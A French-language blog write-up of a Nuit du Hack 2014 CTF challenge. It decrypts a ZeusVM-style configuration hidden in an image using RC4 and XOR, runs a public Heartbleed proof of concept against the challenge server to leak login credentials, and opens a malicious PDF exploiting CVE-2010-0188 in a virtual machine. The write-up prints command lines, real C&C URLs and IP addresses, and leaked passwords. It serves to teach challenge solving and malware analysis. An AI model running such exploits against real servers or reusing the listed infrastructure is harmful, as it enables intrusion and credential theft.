HeartMe Challenge Write-Up

ndh
Il y a deux semaines se déroulait la Nuit du Hack 2014, encore une très bonne édition avec tout plein de conférences, challenges, bug bounty et de hack bien entendu !

LEXSI proposait deux challenges permettant de gagner un USB Rubber Ducky. Pour ceux qui ne savent pas ce dont cet objet merveilleux est capable, c’est une clef USB qui a la particularité d’être vu par l’ordinateur comme un clavier. Il vous est possible de charger un script dans cette clef pour simuler des frappes de touches… La puissance de l’USB Rubber Ducky est phénoménale, avec un simple script, il vous sera par exemple possible de lancer le bloc-note -> écrire un programme permettant d’ouvrir un reverse shell -> enregistrer quelque-part cet exploit -> puis l’exécuter, et tout ça en à peine quelques secondes ! Mais plutôt que de parodier M6 boutique, parlons un peu de ces fameux challenges :

dzetaL’un était intitulé UnderstandMe Chall, et consistait en plusieurs fichiers de type « inject.bin » fichiers utilisés par l’USB Rubber Ducky, qu’il fallait décoder… Un exercice relativement trivial qui ne mérite pas forcément un Write-Up… Donc je ne l’écrirais pas.

Le second répondait au doux nom de HeartMe Chall et était nettement plus intéressant. A l’heure ou j’écris, ce challenge est encore accessible à l’adresse suivante : http://176.31.255.200/.

HeartMeChall-1

HeartMe Chall

La première étape de cette épreuve consiste à comprendre ce qu’il se cache dans cette image :

  • HeartMeChall-2Image compressée pour empêcher que 0x0ff.info soit détecté comme un méchant site qui distribue des malwares…

Elle est accompagnée du texte ci-dessous et de ces deux fichiers (rappatriés sur le blog au cas où le challenge ne soit plus accessible) : HeartMeChall Keys.zip

NOTE FOR THIS STEP

We found a file on a WinXP SP3 system with the following hashe4c31d18b92ad6e19cb67be2e38c3bd1, detected as ZeusVM
A static analysis on the binary allowed our CERT to extract 2 cryptographic information :
- XOR key here (dans l'archive ci-dessus)
- "S" initialization to the identity permutation for RC4 here (dans l'archive ci-dessus) A quick view of RC4 and XOR cipher might help you ! 

Your job is to retrieve the C&C IP used, connect to it and then help us to counter further exploit.

Le hash du binaire responsable de l’infection est donc e4c31d18b92ad6e19cb67be2e38c3bd1, une recherche rapide sur google permet de tomber sur des articles de blogs (notamment celui-ci) nous expliquant un peu ce qu’il se trame derrière le binaire et nous évite une étude complète.

Une clef RC4, une clef XOR, la lecture du blog nous apprend que l’image que l’on récupère contient des informations de configuration sous forme de données supplémentaires encodées en base64 et stockées à la fin du fichier :

HeartMeChall-3

Extrayons la partie encodée en base64 et repassons là en binaire

$ xxd -p -s 68579 Heartme.jpg | tr -d '\n' | xxd -r -p | base64 -d >Heartme.bin
$ du -b Heartme.bin
2052 Heartme.bin
$ du -b xor.key
2052 xor.key
  • xxd -p -s : permet de récupérer uniquement la partie hexadécimale (sans les numéro d’octets en début de lignes et sans la traduction des lignes à droite). L’argument -s permet de récupérer les données à partir d’un octet précis, le 68579ième correspond au début de l’encodé en base64.
  • tr -d ‘\n’ : permet de supprimer les retours à la ligne
  • xxd -r -p : permet de convertir la chaîne hexadécimale reçu en binaire (ce qui nous permet de récupérer une chaîne base64 propre)
  • base64 -d : permet de convertir cette chaîne base64 en binaire.

Comme nous pouvons le voir, nos données extraites font bien la longueur de la clef XOR, jusque là tout va bien. A présent que nous disposons des informations contenues dans cette partie de l’image, le blog nous dit d’appliquer les transformations suivantes : RC4 puis XOR. Voici un morceau de code qui fait ça à merveille :

#!/usr/bin/env python
import sys
def xor(data, key):
	return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(data, key))
def rc4(data, key):
	result = ""
	data_len = len(data)
	z = y = x = 0
	for x in range(data_len):
		z = (z+1) % 256
		y = (y+key[z]) % 256
		tmp = key[z]
		key[z] = key[y]
		key[y] = tmp
		result = result + chr(ord(data[x]) ^ (key[((key[z] + key[y]) % 256)]))
	return result
if len(sys.argv) < 5:
	print "usage: script.py [data] [rc4.key] [xor.key] [output]"
	exit()
data = open(sys.argv[1], 'rb').read()
key_rc4 = eval(open(sys.argv[2], 'rb').read())
key_xor = open(sys.argv[3], 'rb').read()
output = open(sys.argv[4], "w")
assert len(data) == len(key_xor)
data = rc4(data, key_rc4)
data = xor(data, key_xor)
output.write(data)

 Exécutons le pour voir comment ça marche bien !

$ python rc4_xor.py Heartme.jpg.b64 rc4.key xor.key out.bin
$ cat out.bin
[LAST_VERSION:      versionid] 1.0.0.5
[LAST_VERSION_URL:  UpdateEXE] https://5.39.222.133/css/css.php?d=1
[URL_SERVER_0:        C&C_URL] https://176.31.255.200:64242/admin.php
[URL_ADV_SERVERS:BackupConfig] https://5.39.222.133/css/css.php
[URL_ADV_SERVERS:BackupConfig] https://autopark-deutsch.ro/images/logo.jpg
…
[HTTP_FILTER:screen_capture] @https://www.lexsi.*
[HTTP_FILTER:capture] $http://www.lexsi.com
[HTTP_INJECTS_LIST:target] *gmail*
Felicitation, le premier flag est <span style="color: rgb(0, 128, 0);"><strong>st3gan0Crypt0NDH</strong></span>
Votre deuxieme mission est de poutrer le C&C afin de decouvrir le vecteur de l'attaque

Le premier flag est dans la poche, allons poutrer le C&C à l’adresse https://176.31.255.200:64242/admin.php pour en récupérer un second :
HeartMeChall-4
Inutile de gamberger cent-sept ans, le challenge s’appelle HeartMe, allons cherche un PoC pour la vulnérabilité HeartBleed et testons le sur le serveur :

$ wget https://raw.githubusercontent.com/sensepost/heartbleed-poc/master/heartbleed-poc.py
$ python heartbleed-poc.py 176.31.255.200 -p 64242 | less
...
  00e0: 50 48 50 53 45 53 53 49 44 3D 6A 65 6F 34 63 66  PHPSESSID=jeo4cf
  00f0: 63 71 70 31 74 72 74 63 70 68 74 70 66 76 66 6B  cqp1trtcphtpfvfk
  0100: 6C 33 6E 34 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79  l3n4..Content-Ty
  0110: 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F  pe: application/
  0120: 78 2D 77 77 77 2D 66 6F 72 6D 2D 75 72 6C 65 6E  x-www-form-urlen
  0130: 63 6F 64 65 64 0D 0A 0D 0A 6C 6F 67 69 6E 3D 4A  coded....login=J
  0140: 6F 65 26 70 61 73 73 77 6F 72 64 3D 54 68 69 73  oe&password=This
  0150: 49 73 48 65 61 72 74 42 6C 65 65 64 46 6F 72 4E  IsHeartBleedForN
  0160: 44 48 4B 32 68 31 34 8C F0 FD AD C2 55 60 7C 2C  DHK2h14.....U`|,
...

On obtient le login et le mot de passe (qui est également un flag) de l’interface, Joe/ThisIsHeartBleedForNDHK2h14. Une fois logué on ne nous laisse pas trop le choix, il faut creuser le fichier « exploit.pdf ».

Après être parti très loin dans l’espace à la recherche d’une solution, j’ai finalement décidé d’aller au plus simple. Un petit tour sur https://www.virustotal.com ou https://malwr.com nous permet d’apprendre que ce .pdf contient une charge malicieuse qui exploite la vulnérabilité CVE-2010-0188. L’oeil attentif verra que sur malwr.com la version utilisé d’Adobe Reader est la 9.4, non vulnérable.

Les plus talentueux effectuerons une analyse statique, les autres, mauvais comme nous autres, préfèrerons lancer directement l’exploit pour voir ce qu’il se passe…

Heureusement, on a tous une VM sur XP qui traîne et qui nous empêche de faire trop de connerie directement sur notre système ! Téléchargeons la version d’Adobe qui va bien et essayons ça bien à l’abri dans notre VM :HeartMeChall-6

Et Badaboum, le troisième flag dans la poche ! Déplaçons-nous maintenant au stand looter nos récompenses !

Un grand merci à LEXSI (@Jl_N_) pour le challenge et les goodies de la part de 0x0ff.info et some46.org!